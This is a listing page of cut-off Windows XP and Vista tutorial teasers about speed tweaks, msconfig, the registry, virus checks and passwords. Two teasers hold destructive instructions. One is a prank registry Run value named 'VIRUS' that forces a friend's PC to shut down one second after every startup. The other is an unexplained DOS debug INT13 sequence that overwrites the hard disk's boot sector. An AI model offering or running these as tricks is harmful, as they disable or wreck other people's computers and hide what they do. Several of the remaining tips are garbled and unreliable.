Windows Operating System Tutorials

Microsoft Windows operating system articles, tutorials and resources
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Ever wish you could make one of your computer's drives invisible to anyone snooping around on your system? Well, happy days are here my friend! Whether you have sensitive docs, pictures, or any other private data, this is one of the easiest ways to keep them safe. Keep in mind that you'll still be...
HOW TO CHECK FOR VIRUSES: Open up Task Manager to get access to you may do this (CTRL + Skrif + ESC) (open command prompt type "taskmgr.exe) (CTRL + ALT + DEL) When you have up your Task Manager go to Processes and check what files so are running on your computer. If you see files with unormal...
Refer to Making XP better (Part 1) as well. 1. Annoying scroll in Start menu If u install so many programs in ur computer, It'll be updated to ur start menu. If there are more number of programs it'll show in scroll mode(sometimes). ...
Disclaimer : This is for education purpose only if something like this happens to you. How to do it Shutdown your friend's pc when every time its restarts. Add the following registry key and that should do the job for you. "VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this...
Introduction NOTE: If you re connected to the internet then you must read this. Hackers finds a new way everyday to break into computers and virus making. Many binded viruses are uploaded in the net as if it is a original file from a trusted source. So how to protect yourself from these....
Boot to DOS MODE 0.Type Debug and press enter 1.At the "-" prompt type A and then enter 2.Type MOV AX, 0301 then enter 3.Type MOV BX, 0020 then enter 4.Type MOV CX, 0001 then enter 5.Type MOV DX, 0080 then enter 6.Type INT13 then enter 7.Press enter again 8.Type G and then Enter
You can save electricity and money and help protect the environment by activating your monitor's "sleep" feature in Windows XP. Activating sleep settings on just one computer prevents approximately 300 pounds of Carbon di-oxide emissions each year. Putting your monitor to "sleep" means allowing...
You may be interested to know wat ur system does while booting windows(behind that boot screen). (only in Xp and above) Step 1: start->run and type "msconfig" Step 2: go to boot.ini tab Step 3: Check the /SOS option Step 4: Reboot Now u can see wat the operating system is doing in the...
CON is a reserve world in windows operating system. that's why we can not create the folder named as CON. But by command prompt we can do this STEP1: goto command prompt STEP2: type in prompt e:\> "mkdir \\.\e:\con" STEP3: verify by typing "dir \\.\e:\con" STEP4: delete the file or folder...
Windows options can be more easily modified in its XP version, than in any other. First let me introduce the start up option. Whenever u boot a system it loads some of the programs other than system files in the background. Those are called start up items. These are really important cos, once a...
How to Speed up "Windows XP" Here i am going to show you some easy ways how you can speed up your computer. Press "START" go "RUN" type "services.msc" there is alot of serivces so are't needed. Open your Internet Browser type "" seach for "services.msc" or the name of the...
What is the Weakness to Password and Username? How can we prevent unauthorized poeple to get access to your account. How can we secure it? Well Password and Username is an old verify identity of an user account. Only the person so are the owner of the account have the password but is it really...
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Here i am going to show you some easy tricks you can do. What to do when "Add/Remove" wont take away the program? There is always a second option you may do. Press "START" and "RUN" type "regedit" When you have up your registry window go to this path:...
Here i am going to show you basic Information about msconfig. Press "START" and "RUN" type "msconfig". Before you editing something you aren't sure about make sure you make a system restore point so if you doing something wrong you can go back to the Restore point. -General:- Here you...
Why does my computer crash? 1. Bad Hardware 2. Bad Ram 3. Viruses (Unwanted Programs) 4. Denial Of Service Attacks. 5. Overheated. 6. Registry is Corrupt. 1. Bad hardware will say that its hardware conflict it can be Hardware so aren't properly installed on the computer.
What is the Registry? The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000/XP. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user...
If you bought your computer with Windows Vista pre-installed, you most likely don't have a regular Windows Vista repair disc. What you do have is some crappy disc from the manufacturer that totally wipes your computer back to factory settings. What if you just want to run Startup repair off the...
We all are different. We like different things; we want to be unique and try to avoid the routine. The same things apply to the user-operating system relationship. Windows comes in a rough initial “shape” but not everybody is willing to accept it. So here are some useful changes to make it more...
Windows Vista SuperFetch enables programs and files to load much faster than they would on Windows XP–based PCs. When you're not actively using your computer, background tasks—including automatic backup programs and antivirus scans—run when they will least disturb you. These background tasks can...